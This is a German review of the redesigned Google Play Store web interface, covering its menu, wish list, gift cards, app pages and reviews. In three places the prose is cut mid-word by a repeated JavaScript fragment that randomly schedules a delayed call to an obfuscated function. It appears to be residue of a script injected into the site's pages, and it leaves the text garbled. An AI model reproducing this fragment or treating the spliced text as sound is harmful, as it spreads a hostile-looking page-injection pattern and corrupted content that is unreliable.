Wenn man nun den »Google Play Store« aufruft, wird einem sofort auffallen, dass sich einiges verändert hat. Das neue Design erinnert direkt an »Google Now«, wo die »Kartendarstellung« bereits zum Grunddesign gehört.

 

Der »Google Play Store« in seiner neuen Optik
Übersichtliches Menü von
überall zugänglich
Grundsätzlich wirkt alles sauber und aufgeräumt. Auf der linken Seite finden Sie das Hauptmenü, welches fest an dieser Position verankert ist. Sollten Sie also in einer Seite nach unten scrollen, dann bleibt das Menü immer an der Gleichen Stelle stehen. Sie haben somit immer und von überall im Google Play Store die Möglichkeit in die andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen Rubriken zu gelangen ohne dabei lange nach einem entsprechenden Menü suchen zu müssen.

Ein weiterer Pluspunkt des neuen Designs ist die »Wunschliste«. Sie ist nun in der Weboberfläche einsehbar und ebenfalls gut platziert ist der Punkt zum Einlösen der in Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and neu eingeführten »Geschenkkarten«. Hier reicht ein Mausklick aus und Sie gelangen zur Eingabemaske des Codes der von Ihnen erworbenen Geschenkkarte.
Wie man in den vergangenen Tagen im Internet lesen konnte, sollen schon einige Benutzer die Karten in den unterschiedlichsten Einkaufsmärkten gesehen haben. Der Name »Penny« fällt dabei sehr häufig.
Schnelles einlösen des Codes einer Geschenkkarte
Wenn Sie sich in der Rubrik »Apps« befinden und dort auf »Meine Apps« klicken, wird Ihnen kurz darauf auffallen, dass Sie keine installierten Apps aus der Weboberfläche mehr deinstallieren respektive entfernen können. Schade eigentlich, da man sich an die Installation/Deinstallation aus der Weboberfläche sehr schnell gewöhnt hatte und gerade wenn man mehrere Endgeräte mit seinem Account verknüpft hatte, war dies eine deutliche Erleichterung. Was auch nicht mehr möglich ist, ist das Sortieren der Apps nach den Geräten, auf welchen sie installiert sind.
Auffallend ist die extrem große Darstellung wenn Sie eine App anklicken um weitere Informationen über diese zu erhalten. Vormals wurde im oberen Header-Bereich von manchen Apps auch eine entsprechende Grafik angezeigt, dies ist momentan nicht der Fall. Hier wird einfach ein schlichter hellgrauer Balken quer über den Bildschirm angezeigt. Persönlich gehe ich davon aus, dass es den Entwicklern in Kürze wieder möglich sein wird, an dieser Stelle eine Produktgrafik einzublenden. Eine andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere Meldung ist mir jedenfalls noch nicht bekannt.
Darstellung einer App. Trotz der XXL-Ausmaße wirkt das Design sauber und schlüssig
Auch die Darstellung der Screenshots hat sich deutlich verändert. Diese werden nun beim Anklicken in voller Größe dargestellt. Dies mag anfänglich etwas befremdlich sein, man hat sich jedoch schnell daran gewöhnt. Die Navigation durch die einzelnen Screenshots ist intuitiv.
Die Bewertungen einer App werden nun auch etwas verändert dargestellt. Auf die Sortierfunktion wurde völlig verzichtet. Konnte man vorher noch nach beispielsweise bestimmten Endgeräten sortieren lassen, muss man sich nun durch die gesamten Bewertungen lesen, um letztendlich die passenden Aussagen zu finden.
Ansicht der Bewertungen
Die Darstellung der Bewertungen sind optisch sehr gut gelungen. Anmerkungen des Entwicklers werden in einer kleinen Sprechblase unter der jeweiligen Bewertung angezeigt, was sich sehr positiv auf die klare Struktur auswirkt.
Antworten des Entwicklers werden nun in einer »Sprechblase« angezeigt
Mein Fazit
Google hat das Design grundlegend verändert, vereinfacht und dabei auf eine klare aber große Darstellung geachtet. Leider wurden einige nützliche Funktionen entfernt wie beispielsweise die Funktion um Apps aus dem Google Play Store heraus von einem beliebigen Gerät zu entfernen. Mir persönlich gefallen die klaren Strukturen und Übergänge. Auch das Menü, so simpel es zu sein scheint, ist immer leicht zugänglich ganz egal wo man sich auf der Seite befindet.